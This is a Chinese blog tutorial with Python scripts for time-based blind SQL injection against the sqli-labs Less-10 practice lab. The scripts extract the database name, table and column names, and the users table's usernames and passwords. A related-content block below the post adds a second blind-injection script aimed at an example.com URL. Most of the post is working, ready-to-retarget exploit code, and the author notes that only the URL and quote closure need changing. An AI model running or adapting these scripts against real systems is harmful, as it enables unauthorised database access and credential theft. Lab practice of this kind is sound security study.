python脚本实现sql时间盲注

这里用sqli-labs-master第10关举例
在这里插入图片描述
1、爆数据库长度

# coding:utf-8
import requests
import datetime
import time

# 获取数据库名长度
def database_len():
    for i in range(1, 10):
        url = "http://127.0.0.1:8082/sqli-labs-master/sqli-labs-master/Less-10/index.php"    #改url
       
        payload = "?id=1\" and if(length(database())>%s,sleep(1),0) --+" % i                 #改闭合
        # print(url+payload+'%23')
        time1 = datetime.datetime.now()
        r = requests.get(url + payload)
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        if sec >= 1:
            print(i)
        else:
            print(i)
            break
    print('database_len:', i)

if __name__ == '__main__':
    database_len()

在这里插入图片描述
做时间盲注的只需要改一下url和payload,payload里面的闭合字符要改成正确的

2、爆数据库名

# coding:utf-8
import requests
import datetime
import time

#获取数据库名
def database_name():
    name = ''
    for j in range(1,9):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz':
            url = "http://127.0.0.1:8082/sqli-labs-master/sqli-labs-master/Less-10/index.php"    #改url
            payload = "?id=1\" and if(substr(database(),%d,1)='%s',sleep(3),1) --+" % (j,i)      #改闭合
            #print(url+payload)
            time1 = datetime.datetime.now()
            r = requests.get(url + payload)
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            if sec >=3:
                name += i
                print(name)
                break
    print('database_name:', name)

if __name__ == '__main__':
    database_name()

在这里插入图片描述
3、爆表名的ascii码

# coding:utf-8
import requests
import datetime
import time
#爆表的ascii码
def table_name():
    name = ''
    for k in range(0,4):
        for j in range(1,10):
            for i in range(33,127):
                url = "http://127.0.0.1:8082/sqli-labs-master/sqli-labs-master/Less-10/index.php"      #改url
                payload = "?id=1\" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))='%s',sleep(3),1) --+" % (k,j,i)
                #print(url+payload)                                                #改闭合
                time1 = datetime.datetime.now()
                r = requests.get(url + payload)
                time2 = datetime.datetime.now()
                sec = (time2 - time1).seconds
                if sec >=3:
                    print(i)
                else:
                    i=i+1
                    continue
    print('table_name:', name)


if __name__ == '__main__':
    table_name()

在这里插入图片描述
将表的ascii转化为字符

def  shuchu():
	a=[101,109,97,105,108,115,114,101,102]
	i=0
	while(i<len(a)):
		print(chr(a[i]))
		i=i+1
shuchu()

在这里插入图片描述
4、爆列的ascii码

# coding:utf-8
import requests
import datetime
import time
#爆列的ascii码
def column_name():
    name = ''
    for k in range(0,2):
        for j in range(1,25):
            for i in range(33,127):
                url = "http://127.0.0.1:8082/sqli-labs-master/sqli-labs-master/Less-10/index.php"      #改url
                payload = "?id=1\" and if(ascii(substr((select column_name from information_schema.columns where table_name=\"users\" and table_schema=database() limit %d,1),%d,1))='%s',sleep(3),1) --+" % (k,j,i)
                #print(url+payload)                                                #改闭合
                time1 = datetime.datetime.now()
                r = requests.get(url + payload)
                time2 = datetime.datetime.now()
                sec = (time2 - time1).seconds
                if sec >=3:
                    print(i)
                else:
                    i=i+1
                    continue
    print('column_name:', name)


if __name__ == '__main__':
    column_name()

在这里插入图片描述
将列的ascii码转化为字符,跟上面将表名的ascii码转化为字符一样

5、爆字段ascii码

# coding:utf-8
import requests
import datetime
import time
#爆字段的ascii码
def ziduan():
    name = ''
    for k in range(0,2):
        for j in range(1,50):
            for i in range(33,127):
                url = "http://127.0.0.1:8082/sqli-labs-master/sqli-labs-master/Less-10/index.php"      #改url
                payload = "?id=1\" and if(ascii(substr((select group_concat(id,username,password) from users limit %d,1),%d,1))='%s',sleep(3),1) --+" % (k,j,i)
                #print(url+payload)                                                #改闭合
                time1 = datetime.datetime.now()
                r = requests.get(url + payload)
                time2 = datetime.datetime.now()
                sec = (time2 - time1).seconds
                if sec >=3:
                    print(i)
                else:
                    i=i+1
                    continue
    print('ziduan:', name)


if __name__ == '__main__':
    ziduan()

在这里插入图片描述
将字段ascii码转化为字符

脚本比较简陋,但是自身能力有限,能实现功能即可,有好用脚本的大佬可以分享一波,抄袭转载请附上本文地址,违法必究

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL注入是一种常见的安全漏洞,它允许攻击者通过在应用程序的输入字段中插入恶意的SQL代码来执行未经授权的操作。而盲注是一种特殊类型的SQL注入攻击,攻击者无法直接获取数据库的具体信息,但可以通过不断尝试不同的条件来判断是否存在漏洞。 下面是一个使用Python编写的简单SQL注入盲注脚本的示例: ```python import requests def check_vulnerable(url): payload = "' OR 1=1 --" response = requests.get(url + "?id=" + payload) if "Welcome" in response.text: return True else: return False def exploit_blind(url): result = "" characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" while True: found = False for char in characters: payload = "' OR SUBSTRING((SELECT database()), 1, 1) = '" + char + "' --" response = requests.get(url + "?id=" + payload) if "Welcome" in response.text: result += char found = True break if not found: break return result # 示例使用方法 url = "http://example.com/vulnerable_page" if check_vulnerable(url): database_name = exploit_blind(url) print("数据库名称:", database_name) else: print("目标网站不易受SQL注入攻击") ``` 上述脚本中,`check_vulnerable`函数用于检测目标网站是否易受SQL注入攻击,它通过在URL中插入特定的payload来判断是否存在漏洞。`exploit_blind`函数用于利用盲注漏洞获取数据库名称,它通过不断尝试不同的字符来逐个获取数据库名称的每个字符。 请注意,上述脚本仅为示例,实际使用时需要根据具体情况进行修改和扩展,同时要遵循法律和道德规范,仅在合法授权的范围内使用。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值